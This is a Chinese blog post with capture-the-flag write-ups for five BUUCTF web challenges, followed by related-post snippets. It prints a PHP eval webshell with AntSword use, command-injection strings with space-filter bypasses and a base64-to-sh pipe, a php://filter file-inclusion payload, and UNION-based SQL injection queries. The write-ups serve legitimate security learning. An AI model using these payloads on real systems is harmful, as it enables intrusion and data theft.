记录BUUCTF的五道题 Secret File,Exec,LoveSQL,Ping Ping Ping,Knife

BUUCTF-练习场-Web(5-8) SQL注入的解题大概步骤,以及爆表爆库查字段 绕过空格,替换字符的方法 命令执行漏洞 阅读详情

先从简单的题目开始讲起
Knife
打开靶机在这里插入图片描述好的看到

eval($_POST["Syc"]);

两种解法一种菜刀,蚁剑直接连,另一种利用漏洞的本质无需工具。
因为这个利用的是远程代码执行的漏洞所以可以直接修改POST的提交参数来利用漏洞。废话不多上解法,我这边用的是蚁剑在这里插入图片描述好的直接连接
在这里插入图片描述
在这里插入图片描述根目录下有个flag文件直接点开
解法2
利用漏洞不知道为什么我的火狐的hackbar的插件不允许我提交post的数据,所以我post的提交都是用burpsuite去完成的
直接抓包在这里插入图片描述提交方式改为POST的提交根据提示添加Syc=phpinfo();可以看到成功执行phpinfo();
然后这边eval函数我去网上查了一会儿,发现是用var_dump()和scandir()来进行远程代码执行的。system()的话应该使用ls和cat进行。
然后构造
Syc=var_dump(scandir(’/’));在这里插入图片描述找到flag然后构造
Syc=var_dump(file_get_contents(’/flag’));去读取flag中的内容
答案:
flag{60eb1232-624d-4aed-afba-84460f77046a}

第二道
Exec打开靶机在这里插入图片描述输入1;ls
在这里插入图片描述看到index.php文件应该是页面内容不是我们想要的那我们直接输入1;ls / 查看根目录在这里插入图片描述好的flag文件不请自来
直接1;cat /flag
答案
flag{358b0d11-481b-4eed-8062-5fea97fff4f5}

第三道
ping ping ping 第三道讲这个不是因为难度,而是这道题是上面一道的延伸,我觉得放在一起讲会更有帮助。打开靶机在这里插入图片描述好的界面又是和ip啥的有关,说实话我当时是先写这道题再去写上面那道的,以至于我当时拿到这道题傻呗的去试模板注入x-forword-for好像是这个,但是不是这个漏洞,只是我自己想多了。
提示 ?ip=
想应该是 $_GET[“ip”],直接一把梭
?ip=1;ls在这里插入图片描述直接?ip=1;cat flag.php
在这里插入图片描述fxck 我的空格这么狠 空格绕过的话我直接去查
${IFS}
$IFS$1
<
<>
{cat,flag.php}

大家自己试一下ps:有几个我是看过来的不知道行不行因为这道题过滤了好多字符
?ip=1;cat$IFS$1flag.php
页面提示 f*ck我的flag,那我看看index.php总行了吧在这里插入图片描述小家伙过滤的还挺多这里不带大家一一审计了,因为基本都是正则的匹配,我想的是拼接绕过正则匹配,有大佬也说看到后面的 $a= 可以直接考虑变量覆盖,其实我有点懵。但是不妨碍我构造payload

?ip=1;b=a;c=g;a=fl;cat$IFS$1$a$b$c.php
在这里插入图片描述nmd东西呢????按下F12看看,差点以为自己输错了,小家伙给我注释了
答案
flag{05f012eb-f6a0-4491-b1b6-77517ed135dd}
这道题我后来去看了博客上的大佬还有好多种解,我当时就真的佩服他们是真tm的牛,因为过滤了bash就用sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
将cat flag.php base64加密后再解密真的天才
第四题secret file
在这里插入图片描述有小秘密????
页面没什么东西F12看看
在这里插入图片描述有个链接/Archive_room.php访问他看看在这里插入图片描述按一下小按钮
在这里插入图片描述我还啥都没看到呢???
这时候我们F12看到network的地方
在这里插入图片描述这里有个action.php很可疑啊,再看看前面的状态码302好的重定向到这个结束的页面,那就用burpsuite来干他,奥利给
在这里插入图片描述看到了啥secr3t.php 直接访问

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这个过滤有点弱啊,该过滤的一个都没过滤,看到include()文件包含php伪协议一把梭,这个payload挺万能的大家可以用一哈
php://filter/read=convert.base64-encode/resource=
那串base64值有点长大家自己复制吧,我这里有点懒得复制了。

第五题love sql 哈哈这道题我当时真的要笑出来了在这里插入图片描述随便输入一下
在这里插入图片描述这边要先测试注入点是username还是password大家可以自己试一试,试出来是password这边的注入,接下来猜password=1’
在这里插入图片描述看到报错了 ‘‘1’’’ 后面多了个引号那就–+注释掉在这里插入图片描述还是报错??’’'三个引号,这里–+难道没注释掉吗?
那继续注释在这里插入图片描述那放入 or 1=1
在这里插入图片描述给我账号密码有勾八用-.-,那就用最简单的sql语句吧这里用information_schema的有据查询,

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' --+ --+
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' --+ --+
1' union select 1,2,group_concat(password) from l0ve1ysq1 --+ --+

答案
flag{f1a0a2e8-6e78-477b-aa54-38be2c8984cb}
结束!大家写完题目记得记录知识点呦!!

K230开发板实战:5步搞定YOLOv8模型部署(附常见报错解决方案) 本文提供了一份详细的K230开发板部署YOLOv8模型的实战教程。内容涵盖从环境准备、模型转换到代码编写的完整流程,并重点解析了使用AICube工具链时常见的“生成部署文件异常”等报错解决方案,旨在帮助开发者高效完成嵌入式AI模型部署。 阅读详情

相关推荐

【LVGL】从HTML到LVGL:嵌入式UI的设计迁移与落地实践

嵌入式UI迁移实践:从HTML到LVGL 本文介绍了将HTML/CSS设计的UI原型迁移到嵌入式系统(LVGL)的完整流程,重点涉及"HTML→Figma→LVGL"的三步转换方法。具体内容包括: 设计迁移流程:通过Figma作为中间桥梁,将HTML原型转化为标准设计资产,再适配到LVGL库; 工具与参数准备:详细列出了设计迁移所需的工具链和需要提取的核心设计参数; Figma还原步骤:分组件讲解如何在Figma中1:1还原HTML设计,包括标题栏、压力显示区、图表区等核心组件; LVG

ymlmail的博客 1974

[极客大挑战 2019]Knife 1

[极客大挑战 2019]Knife 1 我的写题日记 首先进入界面,根据界面提示eval($_POST["Syc"]);,可以知道这是一个典型的后门程序。 首先解释一下eavl函数的作用,所有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST[‘Syc’]的话,只要使用post传输时在name为Syc的值中写入任何字符串,都可以当做php代码来执行。 可以使用中国菜刀或者蚁剑,我使用hackbar,发送POST请求。 代码是Syc=system('cat /fla

qq_52963704的博客 561

ArcGIS基础:点要素分割线要素和提取线要素的交点

第一个实验:【点要素分割线要素】看下原始数据:下图所示,2个红点和一条绿线,用2个点去分割这条线。 找到【数据管理工具】,在找到【要素】,再找到【在点处分割线】,如下图所示。 输入线、点要素,然后在【搜索半径】里输入5米,查看一下结果。 查看结果发现,线段被分割了2段,我们查看一下原因。 发现第2个点与线有一段距离,肯定是大于5米的,所以分割没有成功。可以量测一下距离,重新输入搜索半径。 我们把搜索半径改为200米,勘察结果,被点分割了3段。 接下来使用另外一个工具【在折点处分割线】,如下所示。

yuanYW7556的博客 1万+

BUUCTF Web题基本知识点和解题思路(1)

BUUCTF Web题基本知识点和解题思路 url里出现了类似于/?ip=这样的参数,可以首先尝试命令注入,如?ip=127.0.0.1, ?ip=127.0.0.1;ls, ?ip=127.0.0.1;cat flag.php,通过执行注入命令获取到flag的信息。注意:如果网站对空格进行了过滤,则可以使用其他方法进行绕过,如拼接绕过:?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php 命令注入127.0.0.1;ls,如果发现当前目录没有flag文件时,可以去上级目录查看,

weixin_43456810的博客 2139

同济土木非0基础三个月跨考复旦计算机攻略

跨考cs攻略前言我cs专业课如何复习How to start from zero简历其他复试 前言 建议多去工地/化工厂涡轮增压一下 我 同济土木gpa 3.2/5 挂科 * n 辣鸡项目 * n (padding 简历) 21考复旦计算机专硕 10月-12月 学习+复习 总分392 政治 68;背肖4即可 英语二 78 裸考,(高考英语140+);做点真题,建议据自己情况准备 数学二 142 ;(高考数学接近满分);做真题+模拟题,每天写一张试卷 专业课 104 ,考试生病了,下文展开。 cs专业课

piglake的博客 7238

某商场G区火灾自动报警与控制系统设计

某商场G区火灾自动报警与控制系统设计 摘要:随着我国经济建设的迅速发展,人民生活水平不断提高,城市用地日益紧张,促使建筑物正朝着高层化、密集化方向发展。高层建筑的特点决定其火灾的危险性和高层建筑的火灾自动报警系统的重要性,一套完整的火灾自动报警及联动控制系统是高层建筑发生火灾时人们生命财产的有利保障,是能否快速准确地发现火情,把火灾扑灭在萌芽状态的关键所在。文章通过消防设计,论述了火灾自动报警及消...

weixin_44026784的博客 5368

BUUCTF-web极客大挑战

目录 [极客大挑战 2019]Knife [极客大挑战 2019]Http [极客大挑战 2019]Upload ​ [极客大挑战 2019]PHP [极客大挑战 2019]Knife eval($_POST["Syc"]); 这是一个典型的后门程序,用蚁剑链接复制url,密码则是页面中给的密码Syc。 在根目录下找到flag文件,得出flag。 [极客大挑战 2019]Http 打开页面后查看源代码,发现一个php文件 打开链接node4.buuoj..

zhhhb1005的博客 4037

【Xilinx】如何在petalinux下编译vcu-gst-app以及独立编译vcu-gst-app

Xilinx从2018.1开始,提供了一套基于zcu106的vcu参考设计。里面提供了一套基于GStreamer的程序,即vcu-gst-app。如何脱离petalinux直接编译呢,这里以为例,其他版本也是类似的操作。

王师傅 3041

Web学习之路(BUUCTF刷题之旅3)

一、[GXYCTF2019]Ping Ping Ping 二、[极客大挑战 2019]Knife 进入目标靶机里,非常简洁明了,只有一个以GET方式传参的提示,那我们随便传一个ip。 /?ip=1;ls看一下都有什么。发现了"flag.php"文件,flag应该就在这里。 /?ip=1;cat flag.php 发现行不通,应该是空格被过滤掉了,要想办法绕过。 这里我使用$IFS$1绕过空格。 但由于我不知道他到底过滤了多少东西,这里我决定先看"index.php"文件。 和

AKAXPD的博客 2012

​热电偶测温电路图(一)​

高精度热电偶测温电路图 此设计概括了提供传感器诊断所必需的抗混叠滤波器和偏置电阻器。此示例还提供了一种新颖的方式,即使用ADS1118上的板载温度传感器完成对系统的冷端补偿。对于热电偶线性化,此设计还提供了一种非常简单的、可以在大多数微控制器上实施的线性算法。 缺点就是太贵。 特性 测量K型热电偶温度 精度1°C 高精度/可重复性0.2°C 包含冷端补偿 包含软件算法 使用ADS111816位ADC(带PGA) 原理图/方框图 热电偶测温电路图(二) OP07构成的高稳定热电

zxm8513优快云博客 2万+

ROS 之 使用yocs_velocity_smoother对机器人速度进行限制

yocs_velocity_smoother是一个速度、加速度限制器,用来防止robot navigation的速度/转速过快,加速度/快减速过大。Bound incoming velocity messages according to robot velocity and acceleration limits. The velocity smoother nodelet runs together with the kobuki_node to apply robot’s velocity and .

https://shixuebin.gitee.io/hexo-blog/ 2623

CTF² BUUCTF Web 第一页

CTF² BUUCTF Web 第一页

102 268

【YOLO26科研级突破】集成BiFPN双向特征金字塔,让多尺度特征融合效率与精度双跃升

打开确保模型解析器能识别BiFPN模块。通过将BiFPN双向特征金字塔集成到YOLO26中,我们实现了一个“全尺度双向特征流动+加权融合+精准检测”的目标检测模型。这个改进不仅在工程上能大幅提升多尺度、复杂场景下的检测精度,更在科研上提供了“双向特征融合”的创新思路——这种思路可以延伸到其他检测网络(如Faster R-CNN、SSD)的Neck模块改进中,帮你在论文中打造独特的研究点。

LXY_LOVE36的博客 200

BUUCTF-WEB详细解题攻略第一页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题备查。

2503_94637398的博客 1774

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

BUUCTF Web 第一页

BUUCTF Web 第一页

102 655

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

蚁剑与一句话木马

目录 一句话木马 一个关于php的例子 入侵条件 蚁剑的下载与安装 在安装的时候注意 真题实践 一句话木马 先来说说一句话木马是什么东西 一句话木马,又简称(webshell),在很多渗透测试时,渗透人员会上传一句话木马到目前web服务目录继而提权获取系统权限。 举一个关于php的例子 <?php @eval($_POST['syc']);?> 它的原理呢,是利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以通过中国菜刀即可获取和控制整个网站目录。 ..

m0_55771794的博客 7502

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

BUUCTF-Web-文件包含-[极客大挑战 2019]Secret File

BUUCTF-Web-文件包含-[极客大挑战 2019]Secret File 题目链接:BUUCTF 类型:文件包含 知识点: 302隐式重定向、php伪协议(php://filter) 解题过程 直接看页面没啥信息,F12打开控制台发现一个超链接,因为设置了style样式和背景颜色一样所以看不出来,其实可以在页面中用ctrl+a找到这个超链接标签 跟随超链接进入到Archive_room.php页面,这里有一个SECRET链接标签,用控制台看是链接到action.php页面的 但是点

weixin_42566218的博客 1423

BUUCTF_[极客大挑战 2019]Knife解题思路

[极客大挑战 2019]Knife

时光不老的博客 680

[极客大挑战 2019]Knife 1(两种解法)

题目环境:这道题主要考察中国菜刀和中国蚁剑的使用方法以及对PHP一句话木马的理解咱们先了解一下PHP一句话木马,好吗?**eval是PHP代码执行函数,**把字符串按照 PHP 代码来执行。$_POST PHP方法将参数Syc作为POST传参方式可以理解为题目作者已经给我们了连接服务器的密码Syc,我们只需要使用工具连接题目地址就可以啦一句话木马是一种精简但高效的木马,只需要一行代码即可实现和大马(全功能木马)相当的功能。

m0_73734159的博客 4380

buuctf[极客大挑战 2019]Knife1(详解)

题目首页点进去,看到。

2301_77451464的博客 1576

文件包含练习1

大佬文章

qq_61109509的博客 1256

php eval一句话木马干啥的,<?php eval($_POST[cmd]);?>一句话木马解读

php网页木马代码,大家可以看下自己的网站里面是不是有这样的代码,注意网站安全用mcafee限制w3wp.exe生成php或者asp文件。并在php.ini中设置一下。php网页木马header("content-Type:text/html;charset=gb2312");if(get_magic_quotes_gpc())foreach($_POSTas$k=>$v)$_POST[...

weixin_39875503的博客 4129

Syc 2019第10届极客大挑战wp

1、打比赛前先撸一只猫! F12查看元素:简单的传参令?cat=dog即出flag 2、你看见过我的菜刀么 打开页面eval($_POST[“Syc”]);搬出菜刀连接找到flag即可 3、 BurpSuiiiiiit!!! 下载附件解压使用bp的Extender导入一个java类型的查看errors即得flag 4、性感潇文清,在线算卦 打开一个登陆界面,先随意输登陆一下,出现如下...

Rainbow_Melo 3243

<?php eval($_post[cmd]);?>,php eval函数用法及相关技巧

eval函数可将字符串之中的变量值代入,通常用在处理数据库的数据上。eval将值代入字符串之中。语法: void eval(string code_str);传回值: 无函式种类: 数据处理本函式可将字符串之中的变量值代入,通常用在处理数据库的数据上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函式处理后的字符串会沿...

weixin_42813171的博客 4841

CTF-Pwn-[BJDCTF 2nd]secret

CTF-Pwn-[BJDCTF 2nd]secret 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! CTP平台 网址 https://buuoj.cn/challenges 题目 Pwn类,[BJDCTF 2nd]secret 下载题目文件 secret 思路 老规矩使用file...

归子莫的博客 1740

BUUCTF WEB LOVESQL

BUUCTF WEB LOVESQL 这个题考的是普通的联合注入,但是有一个比较坑的地方就是注释符,所以以后一定要多试试注释符。这个题是这样的,如果你直接写# 或者 --+ 这样的,就得不到想要的界面,这里需要对注释符进行url编码,换成%23这样的 设置用户名为123,密码为111登陆试一下 在用户名处设置’ “试一下 只有设置为单引号的时候有报错信息,然后试一下万能密码 ’ or 1=1# 出现了这样的情况,原因竟然是注释符要换成编码过的%23 然后就是正常的流程了(这个题目usern

m0_46315342的博客 1283
上一篇: 攻防世界 Web_php_unserialize 反序列化
下一篇: vulnhub靶场 DC-1
递归 trash can
博客等级 码龄6年 46粉丝 11原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值